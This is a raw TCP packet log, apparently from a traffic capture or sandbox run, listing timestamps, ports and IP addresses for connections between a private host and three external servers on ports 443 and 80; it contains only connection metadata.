Oct 28, 2024 02:02:45.654863119 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.654877901 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.654936075 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.655045033 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.655045033 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.655054092 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.655105114 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.658735991 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.658787012 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.658796072 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.658838034 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.664319992 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.664375067 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.664387941 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.664431095 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.669842958 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.669902086 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.669914961 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.669955015 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.675479889 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.675594091 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.675607920 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.675652981 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.679404020 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.679454088 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.679462910 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.679507017 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.682677984 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.682730913 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.682739973 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.682782888 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.686261892 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.686319113 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.686327934 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.686371088 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.689659119 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.689728022 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.689739943 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.689780951 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.693108082 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.693162918 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.693171024 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.693212986 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.696548939 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.696624994 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.696635008 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.696672916 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.700113058 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.700161934 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.700171947 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.700208902 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.703346014 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.703413963 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.703423977 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.703469038 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.706923962 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.706976891 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.706986904 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.707045078 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.710042953 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.710093021 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.710100889 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.710145950 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.713397026 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.713458061 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.713469028 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.713515997 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.716573000 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.716629982 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.716640949 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.716682911 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.719810009 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.719861031 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.719870090 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.719913960 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.722992897 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.723037004 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.723047972 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.723083973 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.726028919 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.726078033 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.726089954 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.726128101 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.729100943 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.729156017 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.729166031 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.729204893 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.732057095 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.732106924 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.732115984 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.732160091 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.735203981 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.735260963 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.735270023 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.735438108 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.738210917 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.738287926 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.738300085 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.738339901 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.741159916 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.741213083 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.741224051 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.741271019 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.743988037 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.744048119 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.744059086 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.744102955 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.746927023 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.746978998 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.746989012 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.747028112 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.749886990 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.749962091 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.749970913 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.750017881 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.765511990 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.765571117 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.765602112 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.765603065 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.765614033 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.765633106 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.765666008 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.765674114 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.765712023 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.766016960 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.766069889 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.766074896 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.766105890 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.766124010 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.766129971 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.766146898 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.766177893 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.766952038 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.767004013 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.767009020 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.767057896 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.767231941 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.767281055 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.767286062 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.767328978 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.769527912 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.769582987 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.769588947 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.769635916 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.772646904 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.772706032 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.772715092 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.772876024 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.774926901 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.774987936 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.774996996 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.775048971 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.777731895 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.777822971 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.777832985 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.777884007 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.780245066 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.780293941 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.780302048 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.780349970 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.783042908 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.783094883 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.783104897 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.783185005 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.785608053 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.785737038 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.785747051 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.785801888 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.788166046 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.788239956 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.788247108 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.788302898 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.790813923 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.790863991 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.790873051 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.790918112 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.793382883 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.793445110 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.793456078 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.793507099 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.795857906 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.795916080 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.795924902 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.795975924 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.798441887 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.798515081 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.798523903 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.798572063 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.800937891 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.800997019 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.801006079 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.801052094 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.803486109 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.803538084 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.803550005 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.803626060 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.805969954 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.806016922 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.806026936 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.806085110 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.808082104 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.808132887 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.808162928 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.808206081 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.810170889 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.810251951 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.810261011 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.810309887 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.812311888 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.812365055 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.812375069 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.812422991 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.814393997 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.814476967 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.814488888 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.814555883 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.816670895 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.816759109 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.816771984 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.816827059 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.818861008 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.818922043 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.818931103 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.818975925 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.820986032 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.821082115 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.821090937 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.821137905 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.822943926 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.822997093 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.823005915 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.823055029 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.825059891 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.825110912 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.825119972 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.825166941 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.826989889 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.827042103 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.827052116 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.827096939 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.828974962 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.829024076 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.829032898 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.829077005 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.830913067 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.830960035 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.830970049 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.831013918 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.833003998 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.833090067 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.833098888 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.833147049 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.835004091 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.835053921 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.835057020 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.835064888 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.835103989 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.835200071 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:45.835243940 CET	443	49737	142.250.185.225	192.168.2.4
Oct 28, 2024 02:02:45.835297108 CET	49737	443	192.168.2.4	142.250.185.225
Oct 28, 2024 02:02:46.736263037 CET	49738	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:46.741724014 CET	80	49738	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:46.741811037 CET	49738	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:46.742029905 CET	49738	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:46.747339964 CET	80	49738	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:47.584932089 CET	80	49738	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:47.644329071 CET	49738	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:47.717155933 CET	49738	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:47.722590923 CET	80	49738	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:47.964955091 CET	80	49738	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:48.017602921 CET	49738	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:48.204009056 CET	49739	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:48.204047918 CET	443	49739	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:48.204113960 CET	49739	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:48.207634926 CET	49739	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:48.207645893 CET	443	49739	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:48.834084034 CET	443	49739	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:48.834163904 CET	49739	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:48.838371992 CET	49739	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:48.838383913 CET	443	49739	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:48.838866949 CET	443	49739	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:48.843338013 CET	49739	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:48.887343884 CET	443	49739	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:49.204229116 CET	443	49739	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:49.204405069 CET	443	49739	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:49.204484940 CET	49739	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:49.210388899 CET	49739	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:49.215886116 CET	49738	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:49.221271992 CET	80	49738	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:49.462076902 CET	80	49738	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:49.465599060 CET	49740	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:49.465692043 CET	443	49740	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:49.465867043 CET	49740	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:49.466202974 CET	49740	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:49.466217041 CET	443	49740	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:49.517616034 CET	49738	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:50.088171005 CET	443	49740	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:50.094252110 CET	49740	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:50.094322920 CET	443	49740	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:50.234134912 CET	443	49740	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:50.234303951 CET	443	49740	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:50.234369993 CET	49740	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:50.242408991 CET	49740	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:50.292017937 CET	49738	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:50.292948961 CET	49741	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:50.297869921 CET	80	49738	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:50.297947884 CET	49738	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:50.298310041 CET	80	49741	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:50.298377037 CET	49741	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:50.300966024 CET	49741	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:50.306309938 CET	80	49741	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:51.126579046 CET	80	49741	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:51.127907038 CET	49742	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:51.128002882 CET	443	49742	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:51.128118992 CET	49742	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:51.128362894 CET	49742	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:51.128382921 CET	443	49742	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:51.174211979 CET	49741	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:51.745482922 CET	443	49742	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:51.747072935 CET	49742	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:51.747109890 CET	443	49742	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:51.911679983 CET	443	49742	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:51.911839962 CET	443	49742	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:51.911905050 CET	49742	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:51.912322998 CET	49742	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:51.916430950 CET	49741	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:51.917795897 CET	49743	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:51.922223091 CET	80	49741	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:51.922322989 CET	49741	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:51.923065901 CET	80	49743	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:51.923145056 CET	49743	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:51.923261881 CET	49743	80	192.168.2.4	193.122.6.168
Oct 28, 2024 02:02:51.928478003 CET	80	49743	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:52.760802031 CET	80	49743	193.122.6.168	192.168.2.4
Oct 28, 2024 02:02:52.762217999 CET	49744	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:52.762249947 CET	443	49744	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:52.762332916 CET	49744	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:52.762584925 CET	49744	443	192.168.2.4	188.114.96.3
Oct 28, 2024 02:02:52.762595892 CET	443	49744	188.114.96.3	192.168.2.4
Oct 28, 2024 02:02:52.814455986 CET	49743	80	192.168.2.4	193.122.6.168
